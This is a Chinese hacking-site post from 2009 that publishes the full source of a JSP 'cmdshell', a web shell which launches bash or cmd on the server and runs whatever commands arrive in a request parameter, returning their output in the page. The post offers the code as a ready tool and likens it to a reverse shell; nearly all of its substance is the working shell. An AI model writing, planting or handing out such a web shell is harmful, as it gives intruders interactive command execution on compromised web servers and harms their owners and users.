黑基网 首页 学院 电脑技术 查看内容

支持dir等命令的jsp cmdshell

2009-10-30 09:59| 投稿: computer

摘要:  一个jsp的cmdshell支持windows及linux可以实现命令交互,相当于一个反弹的shell,支持等dir命令。 转载请注明出处: Made By 孤水绕城 QQ:5404...
 一个jsp的cmdshell支持windows及linux可以实现命令交互,相当于一个反弹的shell,支持等dir命令。 转载请注明出处: Made By 孤水绕城 QQ:540410588 Blog:http://hi.baidu.com/540410588/ <%@page contentType="text/html;charset=gb2312"%><%@ page import="java.io.*"%><%    File f = new File("/");    String txt=(String)session.getAttribute("txt");      Process pro=(Process)session.getAttribute("cmd");    String v = request.getParameter("v");    boolean isLinux=System.getProperty("os.name").startsWith("Linux");    if(pro==null)    {      if(isLinux){      pro=Runtime.getRuntime().exec("bash",null,f);      }else{      pro=Runtime.getRuntime().exec("cmd",null,f);            }      session.setAttribute("cmd",pro);      txt="";    }    if(v.equals("clear")){      txt="";      return;    }else if(v.equals("exit"))    {      session.removeAttribute("cmd");    }     if(v!=null)    {     v=v+"\r\n";     OutputStream os=pro.getOutputStream();        os.write(v.getBytes());      os.flush();    }    if(v!=null||(txt.length()==0))    {     InputStream is=pro.getInputStream();     for(int i=0;i<10||is.available()>0;i++)     {     if(i==9)is=pro.getErrorStream();     if(is.available()==0)     {      Thread.sleep(500L);     }else     {      i=0;      byte by[]=new byte[is.available()];      is.read(by);      String str=new String(by).replaceAll("<","&lt;");      int cls=str.lastIndexOf("\f");      txt=cls==-1?txt+str:str.substring(cls+1);     }     }     session.setAttribute("txt",txt);    }    out.print("<pre>"+txt+"</pre>");   out.print("Made By 孤水绕城");%>
小编推荐:欲学习电脑技术、系统维护、网络管理、编程开发和安全攻防等高端IT技术,请 点击这里 注册黑基账号,公开课频道价值万元IT培训教程免费学,让您少走弯路、事半功倍,好工作升职加薪!



免责声明:本文由投稿者转载自互联网,版权归原作者所有,文中所述不代表本站观点,若有侵权或转载等不当之处请联系我们处理,让我们一起为维护良好的互联网秩序而努力!联系方式见网站首页右下角。


鲜花

握手

雷人

路过

鸡蛋

相关阅读

最新评论


新出炉

返回顶部